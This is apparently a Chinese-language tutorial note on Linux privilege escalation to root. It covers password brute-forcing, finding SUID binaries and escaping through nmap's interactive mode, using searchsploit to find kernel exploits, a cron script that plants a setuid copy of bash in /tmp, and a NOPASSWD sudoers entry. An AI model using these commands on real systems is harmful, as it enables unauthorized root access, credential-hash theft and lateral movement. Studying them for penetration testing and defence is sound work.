提权的目的是获取 root 权限
root 权限可获取 shadow 文件中的密码 Hash,若内网环境中存在「账户/密码复用」的情况,可用于横向扩展
暴力破解
suid 提权
内核漏洞提权
定时任务提权
sudo 提权
第三方服务提权(docker、mysql、redis、NFS提权)
爆破 root 用户的密码
有一个工具,sucrack
——————
suid(Set owner User ID up on execution)
suid是可执行文件的一个属性(我理解为是一个特殊权限)
通过这个,其他组用户在执行一个程序时可以有该程序所有者/组 的权限
如果此程序所有者是root权限,那其他用户也能有root权限
条件:程序所有者是 0 号或其他 super user ,同时有suid 权限
程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
正常权限比如为 rwx ,可读可写可执行
而有的却是 rws ,这个 s 就是 suid
比如,nmap是需要 root 权限才能运行, 给nmap加上suid权限,这样普通用户就可以随便运行nmap了。
常见用来提权的 Linux 可执行文件:
nmap、vim 、find、bash、more、less、nano、cp
查看可以 suid 提权的可执行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
可以看到有 nmap 之类的
在看看 nmap 的权限
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
有一个 s 权限,即可以进行 suid 提权
旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令。
即使用 nmap 的 --interactive 交互模式
nmap --interactive
进入 nmap 交互模式之后,输入 !sh 就可以进行执行命令了,并且是 root 权限
find 提权
后面跟的 abc 是一个存在的文件夹或文件
find abc -exec whoami \;
————————
先查看Linux 内核版本
uname -a
比如我这里是 5.13.0
1、寻找内核版本存在的漏洞
可以用 kali 自带的 searchsploit ,看看有没有符合的漏洞。
searchsploit Ubuntu 5.13.0
2、下载payload并编译
如果有符合的漏洞,后面有 payload 文件名,使用 -m 命令下载下来(一般应该是 .c 文件, 还需要编译)
searchsploit -m 41760.txt
下载好会有路径
文本打开这个文件会有编译命令,编译之后得到可执行文件,执行即可。
3、执行编译后的可执行文件
然后大概会得到一个用户,su 用户名 登录,就有 root 权限了
除了kali 的 searchsploit ,还可以利用 linux-exploit-suggester、linux-exploit-suggester-2等工具
——————
定时任务(cron job)
通过配置crontab可以让系统周期性地执行某些命令或者脚本
User Crontabs 通常位于 /var/spool/cron/or/var/spool/cron/crontabs/(非 root 用户无法查看 root 用户的计划任务)
system 系统的 crontab 位于/etc/crontab (普通用户可查看)
cron通常以root特权运行,如果可以修改其调度的任何脚本或二进制文件,那就可以使用root权限执行任意代码。
普通用户可以列出系统的计划任务:
cat /etc/crontab
我们先创建一个可执行文件以便测试,然后在 /etc/crontab 文件中添加这个文件,让此文件能够计划性周期性执行。
而在实际情况中,cat /etc/crontab 就是要看看里面存不存在可执行文件,并且有普通用户可更改的权限。
创建测试文件
为了方便,也先赋权,防止后面没有执行权限
touch test.sh
chmod 777 test.sh
文件中写入内容:
#!/bin/bash
cp /bin/bash /tmp/shell
chmod +s /tmp/shell
此内容的功能:
cp /bin/bash /tmp/shell 是把 bash 复制到 /tmp 文件夹下,命名为 shell 文件
chmod +s /tmp/shell 给其赋予 suid 权限,即让普通用户也能执行此 /shell 文件
在 /etc/crontab 加上创建的文件的计划任务(编辑此文件需要 root 权限)
* * * * * root /home/doodric/test.sh
然后计划任务成功执行,即 /home/doodric/test.sh 执行之后
/tmp 下就得到了这个 shell 文件,是通过 /bin/bash 复制过来的
直接输入 /tmp/shell
相当于成功把 bash 文件给复制移动了(是 root 权限才能做到的)
总之,就是在 计划任务中看看有没有可写的可执行文件,普通用户对此计划任务文件修改内容,达到以 root 权限执行命令
——————
运用sudo可以使普通用户使用root用户的命令,只需要输入普通用户的密码。
比如通过 sudo 命令执行 su 切换用户命令,只需要输入普通用户 msfadmin 的密码,不需要 root 用户的密码
但是通过对配置文件 /etc/sudoers 进行修改,把用户
vim /etc/sudoers
我这里文件内是空白的,添加一行内容:
msfadmin ALL=(ALL:ALL) NOPASSWD:ALL
(msfadmin 是我们的普通用户,添加之后让 sudo 命令免密码使用)
然后再执行 sudo su
发现不用输入普通用户的密码就能进入管理员用户了。